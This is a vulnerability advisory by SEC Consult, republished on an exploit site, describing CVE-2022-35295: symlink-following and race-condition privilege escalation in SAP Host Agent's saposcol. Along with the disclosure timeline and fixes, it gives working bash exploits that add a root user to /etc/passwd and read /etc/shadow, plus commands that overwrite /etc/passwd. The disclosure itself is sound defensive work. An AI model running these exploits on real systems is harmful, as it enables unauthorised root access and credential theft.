Author

Fabian Hagg

Risk

[

Security Risk High

]

0day-ID

0day-ID-38110

Category

local exploits

Date add

15-12-2022

CVE

CVE-2022-35295

Platform

linux

=======================================================================
               title: Privilege Escalation Vulnerabilities (UNIX Insecure File
                      Handling)
             product: SAP® Host Agent (saposcol)
  vulnerable version: see section "Vulnerable /  tested versions"
       fixed version: see SAP security note 3159736
          CVE number: CVE-2022-35295
              impact: high
            homepage: https://www.sap.com/about.html
               found: 2022-02-18
                  by: Fabian Hagg (Office Vienna)
                      SEC Consult Vulnerability Lab

                      An integrated part of SEC Consult, an Atos company
                      Europe | Asia | North America

                      https://www.sec-consult.com

=======================================================================

Vendor description:
-------------------
"SAP® Host Agent is an agent that can accomplish several life-cycle
management tasks, such as operating system monitoring, database
monitoring, system instance control and provisioning."

Source: https://help.sap.com/viewer/141cbf7f183242b0ad0964a5195b24e7/202110.000/en-US/48c6f9627a004da5e10000000a421937.html


Business recommendation:
------------------------
By exploiting the vulnerabilities documented in this advisory, a
local attacker may escalate privileges on UNIX systems to fully
compromise vulnerable servers with root privileges.

SEC Consult recommends to implement security note 3159736 where the
documented issue is fixed according to the vendor. We advise installing
the corrections as a matter of priority to keep business-critical
data secured.


Vulnerability overview/description:
-----------------------------------
Multiple vulnerabilities were identified that could allow a local
attacker authenticated as <sid>adm to escalate privileges on SAP UNIX
systems. No additional user authentication is required to exploit
these issues. The vulnerabilities are due to the privileged saposcol
process generating files in its default working directory (/usr/sap/tmp;
defined by profile parameter DIR_PERF) owned by the <sid>adm user (sapsys
group), and following symbolic links (symlinks) when trying to open/create
these files. Note that in some environments the directory might not be
owned by the <sid>adm user account but be writable for all users of
group sapsys including <sid>adm.

An attacker is able to spoof the symbolic links, thus traversing the
file system and gaining access to unintended resources. This could permit
an attacker to read/write/corrupt files owned by the root user account
leading to privilege escalation.


1) UNIX Symlink Following and Insecure File Permissions in Detailed
    Lock Logging Feature of saposcol

The stand-alone saposcol binary available in UNIX systems at
/usr/sap/hostctrl/exe/saposcol provides a debugging feature called
"detailed lock logging". For this option to be activated, the user
<sid>adm can perform the following action:

- Starting the stand-alone saposcol binary with command line argument
   StartLockLog (/usr/sap/hostctrl/exe/saposcol StartLockLog).

Once executed, a special flag is set in shared memory that triggers
multiple running processes and services (sapstartsrv, saposcol) to
create a file called SaposcolMonAreaLocking.log in the default
working directory. This directory is writable by the user
<sid>adm (group sapsys). One of the processes trying to create the
file is the main saposcol service running in the context of the root
user account. It was observed that the file is created by the process
using the openat() syscall with flags O_WRONLY, O_CREAT and O_APPEND.

-----------------------------------------------------------------------
root@sapsrv:~# ps -efw
root 1998 /usr/sap/hostctrl/exe/saposcol -l -w60 pf=/usr/sap/hostctrl/
exe/host_profile

# Tracing the sapsocol process with PID 1998
root@sapsrv:~# strace -f -e trace=openat,chmod,chown -p 1998 -q
[...]
openat(AT_FDCWD, "/usr/sap/tmp/SaposcolMonAreaLocking.log", O_WRONLY|
O_CREAT|O_APPEND, 0666) = 6
chmod("/usr/sap/tmp/SaposcolMonAreaLocking.log", 0666) = 0
-----------------------------------------------------------------------

Since the openat() call does not have the O_EXCL flag set, it is not
ensured that the process actually creates the file. That is, if the
file under the given path already exists, the process tries to open
the existing file for appending data to it and changing its permissions
to world-readable/world-writable (666). Since the process, when
opening an existing file, does not check (e.g., by setting the
O_NOFOLLOW flag) whether it is a symbolic link that resolves to a
target outside of the intended directory, an attacker can cause the
process to operate on unauthorized files by placing a malicious symlink
before activating the detailed lock logging feature via the stand-alone
saposcol binary. This vulnerability may allow an attacker to gain read/
write access to arbitrary files owned by the root user account.


2) UNIX Symlink Following and Race Condition in Hardware Reporting
    Feature of saposcol

The main saposcol service running in the context of the root user
account allows to generate reports containing information about the
underlying operating system and hardware configuration. For these
reports to be generated, the user <sid>adm can perform different
actions:

- Using function GetSAPOSColHWConf of the saphostctrl binary
   (/usr/sap/hostctrl/exe/saphostctrl -function GetSAPOSColHWConf
   [-format <tree|flat>]) that generates a SOAP request for the host
   agent service (SAPHostControl) on port 1128/1129. The request is
   forwarded by sapstartsrv to the saposcol service for processing.
    
- Manually crafting a SOAP request identical to the one generated by
   the saphostctrl binary and sending it to localhost on port 1128
   /1129 via the loopback interface (e.g., using curl). This request
   is forwarded by sapstartsrv to the saposcol service for processing.
    
- Using the dialog interface of the stand-alone saposcol binary
   (/usr/sap/hostctrl/exe/saposcol -d) and its "ask" feature (ask
   Hardware/ ask HardwareXML) that communicates with the saposcol
   service using shared memory segments.

- Using transaction ST06 in the application layer (ABAP based
   instances only).

When requested via the SOAP interface of SAPHostControl (sapstartsrv),
the privileged saposcol process tries to generate the file
hwconfig_<host> / hw_<host>.xml (depending on whether the XML output
format is queried) in its working directory. The process then
collects information about OS resources and writes this data to the given
file. Once saposcol finished its work, the SAPHostControl service opens
and reads the file before providing the results to the caller via SOAP
response. That is, the newly created file is handled as a shared
resource by both processes. It was observed that when creating a
malicious symlink before triggering the execution flow described above,
the saposcol service does not verify if the link points to a resource
outside of the intended directory. Therefore, the targeted file gets
truncated, and the collected OS information is written into to it.
This could allow an attacker to corrupt files owned by the root
user account.

Moreover, by looking at the sequence of system calls, it
was identified that this procedure also yields a race condition that
could be exploited to gain unauthorized read access to files without
corrupting them. The syscalls performed by the two processes, when the
hardware report is requested via the SOAP interface of SAPHostControl,
is shown in the following listing.

-----------------------------------------------------------------------
# Triggering the execution flow via the saphostctrl binary
secadm@sapsrv:~$ /usr/sap/hostctrl/exe/saphostctrl -function
GetSAPOSColHWConf

# Tracing the saposcol process with PID 1998
root@sapsrv:~# strace -f -e trace=openat,chmod,chown -p 1998 -q -o
strace.saposcol -T -tt

root@sapsrv:~# cat strace.saposcol | grep "/usr/sap/tmp/hwconfig_sapsrv"
[...]
1998 01:06:18.370022 openat(AT_FDCWD,"/usr/sap/tmp/hwconfig_sapsrv",
O_WRONLY|O_CREAT|O_EXCL|O_TRUNC, 0664) = 6
1998 01:06:18.370473 chown("/usr/sap/tmp/hwconfig_sapsrv", -1, 460) = 0
1998 01:06:18.370581 chmod("/usr/sap/tmp/hwconfig_sapsrv", 0664) = 0
1998 01:06:35.231717 chown("/usr/sap/tmp/hwconfig_sapsrv", -1, 460) = 0
1998 01:06:35.231833 chmod("/usr/sap/tmp/hwconfig_sapsrv", 0640) = 0
[...]

# Tracing the sapstartsrv SAPHostControl process with PID 1713
root@sapsrv:~# strace -f -e trace=open,openat,chmod,chown -p 1713 -q -o
strace.sapstartsrv -T -tt

root@sapsrv:~# less strace.sapstartsrv | grep "/usr/sap/tmp/hwconfig_sapsrv"
[...]
1713 01:06:35.782818 openat(AT_FDCWD,"/usr/sap/tmp/hwconfig_sapsrv",
  O_RDONLY) = 20
[...]
-----------------------------------------------------------------------

It can be seen that the saposcol service first requests a file
descriptor by creating the report file via the openat() syscall. The
file is made readable/writable (664) to all users of group sapsys by
means of the first series of chmod()/chown() syscalls. The process then
retrieves the OS information and writes the results into the report
file before a second series of chmod()/chown() syscall ensures that
this file is made read-only (640) to users of group sapsys only. The
program, however, does not check whether the file under the given path
has changed since it was created in the first place. An attacker can
attempt to place a malicious symlink in the interval between the
saposcol process succeeds in creating the report file and obtaining a
file descriptor and before the file permissions are changed by the
second series of chmod()/chown() syscalls.

If an attacker manages to carefully choose the time period between
triggering the execution flow and replacing the newly created file
with a link to an otherwise inaccessible resource, this resource does
not get corrupted. Instead, the targeted file is made readable to all
users of group sapsys, and its content is returned by the SAPHostControl
process opening the file in read-only mode afterwards. This may allow
an attacker to gain read access to files owned by the root user account.


3) UNIX Symlink Following and Race Condition in System Log Feature of
    saposcol

The main saposcol service running in the context of the root user
account allows to generate reports containing information about
operating system logs. For these reports to be generated, the user
<sid>adm can perform the following action:

- Using the dialog interface of the stand-alone saposcol binary
   (/usr/sap/hostctrl/exe/saposcol -d) and its "ask" feature (ask
   OsSysLog <number of lines>) that communicates with the main
   saposcol process using shared memory segments.

- Using transaction ST06 in the application layer (ABAP based
   instances only).
  
It was observed that when creating the system log report file
ossyslog_<host> in its working directory, the saposcol process
appears to be vulnerable to the same issues as described in 2.


4) UNIX Symlink Following in Log File Creation of saposcol

The main saposcol service running in the context of the root user
account writes log information to the files dev_coll and
dev_coll.tmp in its working directory. It was observed that when
creating these log files during startup, the saposcol process
resolves malicious symlinks which can be exploited to corrupt
arbitrary files owned by the root user account. For successful
exploitation, however, user interaction and a restart of the main
saposcol process is required. To provoke a restart, the <sid>adm
user can stop the running saposcol process by performing the
following action:

- Using option -k of the stand-alone saposcol binary
   (/usr/sap/hostctrl/exe/saposcol -k) that communicates with the
   main saposcol process using shared memory segments.


5) UNIX Symlink Following in Shared Memory Dump File Creation of
    saposcol

The main saposcol service running in the context of the root user
account writes the data in the shared memory segment to the file coll.put
in its working directory when being terminated. It was observed
that when creating this file, the saposcol process resolves malicious
symlinks which can be exploited to corrupt arbitrary files owned by
the root user account. To stop the running saposcol process and
trigger the execution flow, the <sid>adm user can perform the
following action:

- Using option -k of the stand-alone saposcol binary
   (/usr/sap/hostctrl/exe/saposcol -k) that communicates with the
   main saposcol process using shared memory segments.


Proof of concept:
-----------------
Note that the following PoCs are for demonstration purposes only and
must not be executed in live environments.


1) UNIX Symlink Following and Insecure File Permissions in Detailed
    Lock Logging Feature of saposcol

For demonstration purposes, the bash snippet saposcollpe shown in
the following listing can be executed when being authenticated to
the local system as <sid>adm.

-----------------------------------------------------------------------
#!/bin/bash

PASSWD="/etc/passwd"
USER=$1
PASS=$(openssl passwd -1 -salt $1 $2)

echo "[i] Creating malicious symlink."
ln -sf $PASSWD /usr/sap/tmp/SaposcolMonAreaLocking.log;
echo "[i] Dropping dbg flag in shm via saposcol."
/usr/sap/hostctrl/exe/saposcol StartLockLog > /dev/null;
echo "[i] Waiting for permissions to be set..."
while true; do
   if [ -w $PASSWD ]
   then
     rm -f /usr/sap/tmp/SaposcolMonAreaLocking.log;
     /usr/sap/hostctrl/exe/saposcol StopLockLog > /dev/null;
     echo "[i] Success. /etc/passwd is now world-writable."
     echo "$USER:$PASS:0:0::/root:/bin/bash" >> /etc/passwd;
     echo "[i] New user" $USER "with UID 0 created."
     break
   fi
done
echo "[+] Done"
-----------------------------------------------------------------------

This script exploits the vulnerability to create a new user (username
and password specified via command line args) holding root privileges.

-----------------------------------------------------------------------
secadm@sapsrv:~$ whoami
secadm

secadm@sapsrv:~$ id
uid=1001(secadm) gid=493(sapsys) groups=493(sapsys),1001(sapinst)

secadm@sapsrv:~$ ./saposcollpe sapmatt sappass
[i] Creating malicious symlink.
[i] Dropping dbg flag in shm via saposcol.
[i] Waiting for permissions to be set.
[i] Success. /etc/passwd is now world-writable.
[i] New user sapmatt with UID 0 created.
[+] Done

secadm@sapsrv:~$ su - sapmatt
Password:
Directory: /root

sapsrv:~# whoami
sapmatt

sapsrv:~# id
uid=0(sapmatt) gid=0(root) groups=0(root)
-----------------------------------------------------------------------


2) UNIX Symlink Following and Race Condition in Hardware Reporting

For demonstration purposes, the bash snippet saposcolrace shown in
the following listing can be executed when being authenticated to the
local system as <sid>adm.

-----------------------------------------------------------------------
#!/bin/bash

HOST=$(hostname)
TARGETFILE=$1
COUNTER=10
OUT="CONTINUE"

ls -la $TARGETFILE
echo "[i] Racing..."
while [ -n "$OUT" ]
do
   echo "[*] $COUNTER sec"
   rm -f /usr/sap/tmp/hwconfig_$HOST
   /usr/sap/hostctrl/exe/saphostctrl -function GetSAPOSColHWConf > /tmp/out 2>>/tmp/out &
   sleep "$COUNTER"s; ln -sf $TARGETFILE /usr/sap/tmp/hwconfig_$HOST #set symbolic link
   wait; rm -f /usr/sap/tmp/hwconfig_$HOST
   OUT=$(cat /tmp/out | grep -i "HW File")
   if [ -n "$OUT" ]
   then
     echo "[i] Final laps..."
     let "COUNTER-=1"
   else
     OUT=$(cat /tmp/out | grep -i "LINUX Configuration")
     let "COUNTER-=1"
   fi
done
echo "[+] Profit!"
ls -la $TARGETFILE && cat /tmp/out && rm -f /tmp/out
-----------------------------------------------------------------------

This script exploits the vulnerability to obtain the contents of a file
specified as a command line argument. In the following example, the
/etc/shadow file containing password hashes of the system accounts is
retrieved.

-----------------------------------------------------------------------
secadm@sapsrv:~$ whoami
secadm

secadm@sapsrv:~$ id
uid=1001(secadm) gid=493(sapsys) groups=493(sapsys),1001(sapinst)

secadm@sapsrv:~$ ./saposcolrace /etc/shadow
-rw-r----- 1 root shadow 609 Feb 9 2021 /etc/shadow
[i] Racing....
[*] 10 sec
[*] 9 sec
[*] 8 sec
[*] 7 sec
[*] 6 sec
[*] 5 sec
[*] 4 sec
[*] 3 sec
[i] Final laps....
[*] 2 sec
[+] Profit!
-rw-r----- 1 root sapsys 609 Feb 9 2021 /etc/shadow
Webmethod returned successfully
-----------------------------------------------------------------------
Name = /usr/sap/tmp/hwconfig_sapsrv
Content
-----------------------------------------------------------------------
root:*:18516::::::
bin:*:18516::::::
daemon:*:18516::::::
[...]
-----------------------------------------------------------------------


3) UNIX Symlink Following and Race Condition in System Log Feature of
    saposcol

The vulnerability can be verified by placing a malicious symlink and
querying the operating system logs via the stand-alone saposcol binary
as shown in the following listing.

-----------------------------------------------------------------------
secadm@sapsrv:~$ ln -sf /etc/passwd /usr/sap/tmp/ossyslog_<host>
secadm@sapsrv:~$ /usr/sap/hostctrl/exe/saposcol -d
Collector > ask OsSysLog 10
-----------------------------------------------------------------------

After execution, the file /etc/passwd containing essential user account
information is overwritten by system log information. The file is also
made read-only to users of group sapsys only. If the time period between
querying the operating system log and replacing the newly created report
file with a malicious symlink is chosen carefully (similar to the technique
shown in 2.), the targeted file can be made readable without corrupting it.


4) UNIX Symlink Following in Log File Creation of saposcol

The vulnerability can be verified by placing a malicious symlink as
shown in the following listing.

-----------------------------------------------------------------------
secadm@sapsrv:~$ ln -sf /etc/passwd /usr/sap/tmp/dev_coll
secadm@sapsrv:~$ ln -sf /etc/passwd /usr/sap/tmp/dev_coll.tmp
-----------------------------------------------------------------------

After a restart of the main saposcol process, the file /etc/passwd containing
essential user account information is overwritten by log data.


5) UNIX Symlink Following in Shared Memory Dump File Creation
    of saposcol

The vulnerability can be verified by placing a malicious symlink and stopping
the running saposcol process via the stand-alone saposcol binary as shown
in the following listing.

-----------------------------------------------------------------------
secadm@sapsrv:~$ ln -sf /etc/passwd /usr/sap/tmp/coll.put
secadm@sapsrv:~$ /usr/sap/hostctrl/exe/saposcol -k
-----------------------------------------------------------------------

After termination of the main saposcol process, the file /etc/passwd
containing essential user account information is overwritten by current
data in the shared memory segment.


Vulnerable / tested versions:
-----------------------------
The following versions of the binaries were found to be vulnerable
during our tests:

- SAP Host Agent 721 (patch no. 42)
   SAPOSCOL version COLL 22.11 721 - v2.42 (patch no. 1214)
- SAP Host Agent 722 (patch no. 54)
   SAPOSCOL version COLL 22.11 722 - v2.49 (patch no. 1113)

According to the vendor the following releases and versions
are affected by the discovered vulnerabilities:

- SAPHOSTAGENT 7.22


Vendor contact timeline:
------------------------
2022-02-22: Contacting vendor through vulnerability submission web form.
2022-02-23: Vendor confirms receipt and assigns internal ID #2280075571.
2022-03-02: Vendor asks for additional information on file system permissions.
2022-03-03: Providing required information via encrypted PGP mail.
2022-03-09: Vendor asks for additional information on file system permissions.
2022-03-10: Providing required information via encrypted PGP mail.
2022-03-30: Vendor accepts vulnerability and states that a fix is in progress.
             The initially submitted CVSS assessment 7.8 (LLLN|U|HHH) is disagreed
             with. A new vector string/score 6.7 (NLHN|U|LHH) is proposed by the
             vendor.
2022-04-04: Providing detailed explanation for initially submitted CVSS score
             and CVSS vector string. No answer received.
2022-06-14: Requesting update.
2022-06-28: Vendor informs that the security note is expected to be released at
             September Patchday 2022.
2022-09-10: Vendor informs about upcoming release of the patch and registration
             of CVE number.
2022-09-13: Vendor releases patch with SAP Security Note 3159736. The corresponding
             CVE possess a CVSS vector string/score of 6.7 (NLHN|U|LHH).
2022-12-13: Coordinated release of security advisory.


Solution:
---------
The vendor provides a patched version which should be installed immediately.
Patches are available in form of SAP Security Notes which can be accessed
via the SAP Customer Launchpad [1]. More information can also be found in
the Official SAP Security Patchday Blog [2].

The following Security Note needs to be implemented: 3159736

[1] https://launchpad.support.sap.com/#/securitynotes
[2] https://dam.sap.com/mac/app/e/pdf/preview/embed/ucQrx6G?ltr=a&rc=10


Workaround:
-----------
Remove write access to the DIR_PERF (e.g. /usr/sap/tmp) directory for <sid>adm
account. Note that this change may interfere with other programs such as CCMS.

#  0day.today [2024-11-15]  #